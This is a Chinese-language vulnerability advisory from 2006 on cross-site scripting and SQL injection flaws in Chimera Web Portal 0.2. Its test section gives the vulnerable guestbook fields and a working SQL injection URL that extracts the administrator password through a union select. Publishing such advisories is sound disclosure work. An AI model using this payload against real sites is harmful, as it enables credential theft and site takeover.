发布日期：2006-01-01
更新日期：2006-01-01

受影响系统：

sourceforge Chimera Web Portal 0.2

描述：

---

BUGTRAQ  ID: 16113
CVE(CAN) ID: CVE-2006-0136,CVE-2006-0137

Chimera Web Portal是天文观测任务自动化的系统。

comment_poster comment_poster_email comment_poster_homepage comment_text 变量值没有被正确过滤，用户可发布任何脚本代码的消息；$id变量值没有被正确过滤即用在SQL查询中，通过注入任意SQL代码，可造成操作SQL查询。

<*来源：Aliaksandr Hartsuyeu （alex@evuln.com）
  
  链接：http://www.securityfocus.com/archive/1/archive/1/420669/100/0/threaded
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Cross-site Scripting -

http://www.example.com/chimera/modules.php?name=guestbook&amp;file=index
comment_poster=XSS
comment_poster_email=XSS
comment_poster_homepage=XSS
comment_text=XSS

SQL Injection -

http://www.example.com/chimera/linkcategory.php?id=9999&#39;%20union%20select%20admin_password%20from%20admin/*

建议：

---

厂商补丁：

sourceforge
-----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://sourceforge.net/projects/chimera/

浏览次数：1861
严重程度：0（网友投票）